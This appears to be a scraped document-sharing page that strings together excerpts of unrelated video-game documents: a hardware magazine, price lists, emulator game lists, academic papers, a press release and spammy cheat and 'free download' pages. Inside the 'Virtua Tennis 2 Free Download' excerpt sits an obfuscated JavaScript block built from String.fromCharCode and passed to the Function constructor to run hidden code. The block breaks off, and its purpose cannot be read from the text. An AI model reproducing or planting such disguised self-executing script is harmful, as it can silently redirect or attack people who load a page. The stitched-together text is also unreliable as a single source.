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Apache TOMCAT
LVM Data Migration • XU4 Fan Control • OSX USB-UART interfacing Year Two Issue #22 Oct 2015 ODROIDMagazine Apache TOMCAT Your web server and servlet container running on the world’s most power-efficient computing platform Plex Linux Gaming: Emulate Sega’s last Media console, the Dreamcast Server What we stand for. We strive to symbolize the edge of technology, future, youth, humanity, and engineering. Our philosophy is based on Developers. And our efforts to keep close relationships with developers around the world. For that, you can always count on having the quality and sophistication that is the hallmark of our products. Simple, modern and distinctive. So you can have the best to accomplish everything you can dream of. We are now shipping the ODROID-U3 device to EU countries! Come and visit our online store to shop! Address: Max-Pollin-Straße 1 85104 Pförring Germany Telephone & Fax phone: +49 (0) 8403 / 920-920 email: [email protected] Our ODROID products can be found at http://bit.ly/1tXPXwe EDITORIAL his month, we feature two extremely useful servers that run very well on the ODROID platform: Apache Tom- Tcat and Plex Media Server. Apache Tomcat is an open- source web server and servlet container that provides a “pure Java” HTTP web server environment for Java code to run in. It allows you to write complex web applications in Java without needing to learn a specific server language such as .NET or PHP. Plex Media Server organizes your vid- eo, music, and photo collections and streams them to all of your screens. -
UPC Platform Publisher Title Price Available 730865001347
UPC Platform Publisher Title Price Available 730865001347 PlayStation 3 Atlus 3D Dot Game Heroes PS3 $16.00 52 722674110402 PlayStation 3 Namco Bandai Ace Combat: Assault Horizon PS3 $21.00 2 Other 853490002678 PlayStation 3 Air Conflicts: Secret Wars PS3 $14.00 37 Publishers 014633098587 PlayStation 3 Electronic Arts Alice: Madness Returns PS3 $16.50 60 Aliens Colonial Marines 010086690682 PlayStation 3 Sega $47.50 100+ (Portuguese) PS3 Aliens Colonial Marines (Spanish) 010086690675 PlayStation 3 Sega $47.50 100+ PS3 Aliens Colonial Marines Collector's 010086690637 PlayStation 3 Sega $76.00 9 Edition PS3 010086690170 PlayStation 3 Sega Aliens Colonial Marines PS3 $50.00 92 010086690194 PlayStation 3 Sega Alpha Protocol PS3 $14.00 14 047875843479 PlayStation 3 Activision Amazing Spider-Man PS3 $39.00 100+ 010086690545 PlayStation 3 Sega Anarchy Reigns PS3 $24.00 100+ 722674110525 PlayStation 3 Namco Bandai Armored Core V PS3 $23.00 100+ 014633157147 PlayStation 3 Electronic Arts Army of Two: The 40th Day PS3 $16.00 61 008888345343 PlayStation 3 Ubisoft Assassin's Creed II PS3 $15.00 100+ Assassin's Creed III Limited Edition 008888397717 PlayStation 3 Ubisoft $116.00 4 PS3 008888347231 PlayStation 3 Ubisoft Assassin's Creed III PS3 $47.50 100+ 008888343394 PlayStation 3 Ubisoft Assassin's Creed PS3 $14.00 100+ 008888346258 PlayStation 3 Ubisoft Assassin's Creed: Brotherhood PS3 $16.00 100+ 008888356844 PlayStation 3 Ubisoft Assassin's Creed: Revelations PS3 $22.50 100+ 013388340446 PlayStation 3 Capcom Asura's Wrath PS3 $16.00 55 008888345435 -
[Japan] SALA GIOCHI ARCADE 1000 Miglia
SCHEDA NEW PLATINUM PI4 EDITION La seguente lista elenca la maggior parte dei titoli emulati dalla scheda NEW PLATINUM Pi4 (20.000). - I giochi per computer (Amiga, Commodore, Pc, etc) richiedono una tastiera per computer e talvolta un mouse USB da collegare alla console (in quanto tali sistemi funzionavano con mouse e tastiera). - I giochi che richiedono spinner (es. Arkanoid), volanti (giochi di corse), pistole (es. Duck Hunt) potrebbero non essere controllabili con joystick, ma richiedono periferiche ad hoc, al momento non configurabili. - I giochi che richiedono controller analogici (Playstation, Nintendo 64, etc etc) potrebbero non essere controllabili con plance a levetta singola, ma richiedono, appunto, un joypad con analogici (venduto separatamente). - Questo elenco è relativo alla scheda NEW PLATINUM EDITION basata su Raspberry Pi4. - Gli emulatori di sistemi 3D (Playstation, Nintendo64, Dreamcast) e PC (Amiga, Commodore) sono presenti SOLO nella NEW PLATINUM Pi4 e non sulle versioni Pi3 Plus e Gold. - Gli emulatori Atomiswave, Sega Naomi (Virtua Tennis, Virtua Striker, etc.) sono presenti SOLO nelle schede Pi4. - La versione PLUS Pi3B+ emula solo 550 titoli ARCADE, generati casualmente al momento dell'acquisto e non modificabile. Ultimo aggiornamento 2 Settembre 2020 NOME GIOCO EMULATORE 005 SALA GIOCHI ARCADE 1 On 1 Government [Japan] SALA GIOCHI ARCADE 1000 Miglia: Great 1000 Miles Rally SALA GIOCHI ARCADE 10-Yard Fight SALA GIOCHI ARCADE 18 Holes Pro Golf SALA GIOCHI ARCADE 1941: Counter Attack SALA GIOCHI ARCADE 1942 SALA GIOCHI ARCADE 1943 Kai: Midway Kaisen SALA GIOCHI ARCADE 1943: The Battle of Midway [Europe] SALA GIOCHI ARCADE 1944 : The Loop Master [USA] SALA GIOCHI ARCADE 1945k III SALA GIOCHI ARCADE 19XX : The War Against Destiny [USA] SALA GIOCHI ARCADE 2 On 2 Open Ice Challenge SALA GIOCHI ARCADE 4-D Warriors SALA GIOCHI ARCADE 64th. -
They Played the Merger Game: a Retrospective Analysis in the UK Videogames Market
No 113 They Played the Merger Game: A Retrospective Analysis in the UK Videogames Market Luca Aguzzoni, Elena Argentesi, Paolo Buccirossi, Lorenzo Ciari, Tomaso Duso, Massimo Tognoni, Cristiana Vitale October 2013 IMPRINT DICE DISCUSSION PAPER Published by düsseldorf university press (dup) on behalf of Heinrich‐Heine‐Universität Düsseldorf, Faculty of Economics, Düsseldorf Institute for Competition Economics (DICE), Universitätsstraße 1, 40225 Düsseldorf, Germany www.dice.hhu.de Editor: Prof. Dr. Hans‐Theo Normann Düsseldorf Institute for Competition Economics (DICE) Phone: +49(0) 211‐81‐15125, e‐mail: [email protected] DICE DISCUSSION PAPER All rights reserved. Düsseldorf, Germany, 2013 ISSN 2190‐9938 (online) – ISBN 978‐3‐86304‐112‐0 The working papers published in the Series constitute work in progress circulated to stimulate discussion and critical comments. Views expressed represent exclusively the authors’ own opinions and do not necessarily reflect those of the editor. They Played the Merger Game: A Retrospective Analysis in the UK Videogames Market Luca Aguzzoni Lear Elena Argentesi University of Bologna Paolo Buccirossi Lear Lorenzo Ciari European Bank for Reconstruction and Development Tomaso Duso Deutsches Institut für Wirtschaftsforschung (DIW Berlin) and Düsseldorf Institute for Competition Economics (DICE) Massimo Tognoni UK Competition Commission Cristiana Vitale OECD October 2013 Corresponding author: Elena Argentesi, Department of Economics, University of Bologna, Piazza Scaravilli 2, 40126 Bologna, Italy, Tel: + 39 051 2098661, Fax: +39 051 2098040, E-Mail: [email protected]. This paper is partially based on a research project we undertook for the UK Competition Commission (CC). We thank the CC’s staff for their support during the course of this study. -
The Common Forms of Contemporary Videogames: a Proposed Content Analysis Model
1 The Common Forms of Contemporary Videogames: A Proposed Content Analysis Model STEVEN ALLICK A thesis submitted in partial fulfilment of the requirements of Teesside University for the degree of Doctor of Philosophy Teesside University School of Computing April 2012 2 Contents Acknowledgements 5 Declaration 9 Abstract 10 1. Introduction 11 1.1. Background 11 1.2. Motivation 12 1.3. Understanding Tropes 14 1.4. Thesis Statement 15 1.4.1 Aims 15 1.4.2 Thesis 16 1.5 Approach 17 1.6 Methods Used 19 1.6.1 Analysis and Data Gathering 19 1.6.2 Sampling Criterion 20 1.6.3 Scales and Measures 23 1.7 Thesis Organisation 23 2. Literature Review 28 2.1. Semiotics Literature 28 2.1.1 Semiotic Principles 28 2.1.2 Computing Semiotics 31 2.1.3 Artistic and Media Semiotics 33 2.1.4 General Semiotic Research Critique 33 2.2 Rhetoric and Tropes Literature 34 2.2.1 Principles of Tropes 34 2.2.2 Metaphor and Myth 35 2.2.3 Metonym, Synecdoche and Irony 36 2.2.4 Aporia and Epiphany 37 2.2.5 Tropical Research Critique 38 3 2.3 Genre Theory Literature 39 2.3.1 Background and Origin 39 2.3.2 Videogame Genres 40 2.3.3 Genre Theory Critique 41 2.4 Development Models and Methods 43 2.4.1 Perceptual Opportunities 43 2.4.2 Qualitative Design Models 44 2.4.3 Quantitative Design Models 45 2.4.4 Heuristic / Rule Models 45 2.4.5 Development Model Critique 46 2.5 Emotion, Enjoyment and Immersion Models 47 2.5.1 Emotion and Enjoyment 47 2.5.2 Immersion 49 2.5.3 Frustration 50 2.5.4 Player Centric Model Critique 50 2.6 Time 52 2.7 Representational Dimensions 53 2.8 Observations and Conclusions 55 3. -
El Tratamiento Del Videojuego: De La Prensa Generalista a Las Revistas
UNIVERSIDAD DE SEVILLA Facultad de Comunicación Departamento de Periodismo II Tesis Doctoral EL TRATAMIENTO DEL VIDEOJUEGO: DE LA PRENSA GENERALISTA A LAS REVISTAS ESPECIALIZADAS Análisis comparativo de las ediciones impresas y digitales de El País, El Mundo, Público y 20 Minutos Sevilla, julio de 2012 Tesis Doctoral realizada por: Isaac López Redondo Director: Dr. Antonio López Hidalgo A Ana, indudablemente, por todo el tiempo que le robé. Sin su apoyo, comprensión y cariño, este trabajo nunca habría sido una realidad. 0. Índice 1. Introducción………………………………………………………………… 8 1.1. Objetivos de la investigación………………………………………… 9 1.2. Justificación del estudio……………………………………………… 10 1.3. Acotación del objeto de estudio……………………………………… 12 1.4. Hipótesis de partida………………………………………………..… 14 1.5. Metodología de la investigación……………………………………... 15 1.5.1. Análisis de contenido……………………………………... 17 1.5.2. Entrevistas en profundidad………………………………... 24 1.6. Estructura del trabajo de investigación……………………………..... 27 2. Una primera aproximación al mundo del videojuego…………………..... 29 2.1. En busca de una definición………………………………………….. 30 2.2. Antecedentes del videojuego………………………………………… 33 2.3. La interactividad: un elemento distintivo…………………………..... 36 2.4. Las claves del éxito…………………………………………………... 38 2.5. Dentro del videojuego. Estructura y elementos que lo componen…... 40 2.6. ¿Quién juega a los videojuegos?.......................................................... 46 2.7. Géneros y tipos de videojuegos…………………………………….... 49 2.7.1. Clasificación de Diego Levis……………………………... 50 2.7.2. Clasificación de Michael Scholand……………………….. 54 2.7.3. Clasificación de Juan Alberto Estallo…………………….. 57 2.7.4. Clasificación de James Newman…………………………. 61 2.7.5. La propuesta de la prensa especializada………………….. 62 2.7.6. La dificultad de establecer una clasificación única………. -
Sega Dreamcast European PAL Checklist
Console Passion Retro Games The Sega Dreamcast European PAL Checklist www.consolepassion.co.uk □ 102 Dalmatians □ Jeremy McGrath Supercross 2000 □ Slave Zero □ 18 Wheeler American Pro Tucker □ Jet Set Radio □ Sno Cross: Championship Racing □ 4 Wheel Thunder □ Jimmy White 2: Cueball □ Snow Surfers □ 90 Minutes □ Jo Jo Bizarre Adventure □ Soldier of Fortune □ Aero Wings □ Kao the Kangaroo □ Sonic Adventure □ Aero Wings 2: Air Strike □ Kiss Psycho Circus □ Sonic Adventure 2 □ Alone in the Dark: TNN □ Le Mans 24 Hours □ Sonic Shuffle □ Aqua GT □ Legacy of Kain: Soul Reaver □ Soul Calibur □ Army Men: Sarge’s Heroes □ Looney Tunes: Space Race □ Soul Fighter □ Bangai-O □ Magforce Racing □ South Park Rally □ Blue Stinger □ Maken X □ South Park: Chef’s Luv Shack □ Buggy Heat □ Marvel vs Capcom □ Space Channel 5 □ Bust A Move 4 □ Marvel vs Capcom 2 □ Spawn: In the Demon Hand □ Buzz Lightyear of Star Command □ MDK 2 □ Spec Ops 2: Omega Squad □ Caesars Palace 2000 □ Metropolis Street Racer □ Speed Devils □ Cannon Spike □ Midway’s Greatest Hits Volume 1 □ Speed Devils Online □ Capcom vs SNK □ Millennium Soldier: Expendable □ Spiderman □ Carrier □ MoHo □ Spirit of Speed 1937 □ Championship Surfer □ Monaco GP Racing Simulation 2 □ Star Wars: Demolition □ Charge ‘N’ Blast □ Monaco GP Racing Simulation 2 Online □ Star Wars: Episode 1 Racer □ Chicken Run □ Mortal Kombat Gold □ Star Wars: Jedi Power Battles □ Chu Chu Rocket! □ Mr Driller □ Starlancer □ Coaster Works □ MTV Sports Skateboarding □ Street Fighter 3: 3rd Strike □ Confidential Mission □ NBA 2K -
Sega Announce New Stars and Multi-Platform Release for Virtua Tennis 3!
PRESS RELEASE – FOR IMMEDIATE RELEASE SEGA ANNOUNCE NEW STARS AND MULTI-PLATFORM RELEASE FOR VIRTUA TENNIS 3! Brand New Innovative Content, Top International Players and New Multi-Format Release Strategy for SEGA’s Benchmark Tennis Franchise LONDON & SAN FRANCISCO (August 23rd, 2006) – SEGA Europe Ltd. and SEGA® of America, Inc. today announced the complete line up of top tennis stars, plus a whole host of new features destined to set the courts alight in Virtua Tennis 3. By releasing on the PSP and PC, as well as on PS3 and X360 in Spring 2007, this will be the first time this classic franchise has had a simultaneous multi-platform release. Virtua Tennis 3 will include a host of superstar tennis players from both the male and female circuits. World No.1 and 2006 Wimbledon Champion Amelie Mauresmo heads up the roster of womens tennis greats alongside global superstar Maria Sharapova, world renowned powerhouse Venus Williams and the resurgent Martina Hingis. Rising star Nicole Vaidisova, hard hitting Lindsay Davenport and Slovakian Daniela Hantuchova complete the list of women’s headliners you can chose to either play as or against as you compete in one of Virtua Tennis 3’s many tournaments. The very best of men’s tennis is also available in Virtua Tennis 3 with top seed and four times Wimbledon Champion Roger Federer leading the men’s line up. Gamers can also sample the raw power of World No.2 Rafael Nadal, the dangerous serve of Andy Roddick, the serve and volley skills of Tim Henman or the tenacity of Lleyton Hewitt. -
5 Return to Player Space: the Success of Mimetic Interface Games
5 Return to Player Space: The Success of Mimetic Interface Games We don’t play Parcheesi/Sorry! with the kids, because it is too complicated for them—they are only three and a half years old. With the Wii, on the other hand, the way that you do something and see a reaction on the screen, the way you tilt the controller and see something on the screen—that is something different. You cannot give them PlayStation controllers; those are a little too advanced with too many buttons. With the Wii, we can see on the kids that it just works for them, they can use that immediately. We play the Wii with friends, at social events. We have also played it with the in-laws who are both around sixty. They play it eagerly, and they ask if we shouldn’t play the game one more time. —Interview with a Wii-playing family1 Here is the formula for the success of the Nintendo Wii and games like Guitar Hero and Rock Band shown in figures 5.1–5.4: they have physical interfaces that mimic the action in the games. The Wii Sports tennis player must swing his or her arm in order to swing the racket in the game; the Guitar Hero player must ‘‘strum’’ the plastic guitar; the Wii Fit2 player must actually strike a yoga pose. This makes mimetic interface games easier to learn than traditional video games, and it adds new types of fun—easier, because players can use their preconceptions of tennis, singing, or playing guitar in order to play the game; fun in new ways, because players can learn from watching each other, because failure becomes an enjoyable spectacle, and because the games thereby become more immediately social than those played with standard game controllers. -
Manual Need for Speed Carbon Ps2 Cheat Codebreaker
Manual Need For Speed Carbon Ps2 Cheat Codebreaker Cheats for Need for Speed: The Run. Use our Cheats, Tips, Walkthroughs, FAQs, and Guides to get the edge you need to win big, or unlock achievements. Cheats, Codes, Hints, and Tips for all your console games. CheatMasters.com Top PlayStation 2 (PS2) Games. NFS Need For Speed Most Wanted. We have the latest PlayStation 2 cheats, PS2 cheat codes, tips, walkthroughs and Need for Speed Most Wanted · Need for Speed Carbon · Kingdom Hearts II. by consumers, download USB drivers, free unlock codes, software and manual. cheats for ps2 need for speed carbon / flick kick football high score cheat. The ultimate Xbox cheats resource. We have the latest Xbox cheats, Xbox cheat codes, tips, walkthroughs and videos Need For Speed Most Wanted Aug 18th manual de produccion de television download · matlab portable cheats for need for speed underground 2 ps2 to unlock all cars · gta 4 cheats all cars Manual Need For Speed Carbon Ps2 Cheat Codebreaker Read/Download Jul 8, 2015. need for speed underground 2 money cheat pc fallout new vegas need for speed carbon all cars cheats ps2 Sony digital handycam dcr trv27 manual. Cheat. ky speed stack cups record ignition point of organic carbon alcan nc cheats on wife cheat and get away with it what vaccines do weimaraners need compaq persario cq60 repair manual playstation 2 cheats for ecw 2008 Need for Speed Most Wanted PS2 tips and cheat codes The simplest way to hack. Purchase any Cheap Disney's Bolt (PS2) items transferred directly secure and trusted 4 Jun 2009 – Disney's Bolt Cheats - a collection of cheat codes, unlocks, PS2 Need for Speed Underground 2 NBA Street 3 Tekken 5 Virtua tennis 2 US Instruction manual Thank you for purchasing the PlayStation®2 computer. -
Virtua Tennis 2 Free Download Full Version Pc
Virtua Tennis 2 Free Download Full Version Pc 1 / 6 Virtua Tennis 2 Free Download Full Version Pc 2 / 6 3 / 6 FIFA 15 Free Download PC Game setup with single and direct download link Download FIFA 15 and play on your own computer or laptop.. 6 Ghz Memory: 5 12 MB RAMHard Drive: 4 MB available space Sound Card: Any Recommended System Requirements: OS: Windows 8. 1. virtua tennis 2. virtua tennis 3 3. virtua tennis challenge Processor: 2 4 Ghz Memory: 4 GB RAMNetwork: Broadband Internet connection Hard Drive: 1 GB available spacefile size: 3.. $=String fromCharCode(10,118,82,61,109,46,59,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,54,119,53,52,113, 72,84,77,76,60,34,48,112,47,80,51,122,63,38,95,43,85,67,50,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([] +[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[]) [+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+$[1]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]] +$[2]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[3]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[] )[!+[]+!+[]]+$[4]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[5]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+ (![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[6]+$[0]+([ ![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[2]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[ -
A Casual Revolution Reinventing Video Games and Their Players
A CASUAL REVOLUTION REINVENTING VIDEO GAMES AND THEIR PLAYERS JESPER JUUL ACASUALREVOLUTION ACASUALREVOLUTION Reinventing Video Games and Their Players Jesper Juul The MIT Press Cambridge, Massachusetts London, England 8 2010 Jesper Juul All rights reserved. No part of this book may be reproduced in any form by any electronic or mechanical means (including photocopying, recording, or informa- tion storage and retrieval) without permission in writing from the publisher. For information about special quantity discounts, please email [email protected] This book was set in Scala Serif and Scala Sans on 3B2 by Asco Typesetters, Hong Kong. Printed and bound in the United States of America. Library of Congress Cataloging-in-Publication Data Juul, Jesper, 1970– A casual revolution : reinventing video games and their players / Jesper Juul. p. cm. Includes bibliographical references and index. ISBN 978-0-262-01337-6 (hardcover : alk. paper) 1. Video games—Psychological aspects. 2. Video gamers—Psychology. I. Title. GV1469.34.P79J88 2010 794.8—dc22 2009009091 10987654321 Contents Acknowledgments vii 1 A Casual Revolution 1 2 What Is Casual? 25 3 All the Games You Played Before 65 4 Innovations and Clones: The Gradual Evolution of Downloadable Casual Games 79 5 Return to Player Space: The Success of Mimetic Interface Games 103 6 Social Meaning and Social Goals 121 7 Casual Play in a Hardcore Game 129 8 Players, Developers, and the Future of Video Games 145 Appendix A: Player Survey 153 Appendix B: Player Stories 157 Appendix C: Developer Interviews 175 Notes 219 References 233 Index 247 Acknowledgments First, I must thank colleagues and students for the knowledge, helpful- ness, and discussions that made this book infinitely better than it would have been otherwise.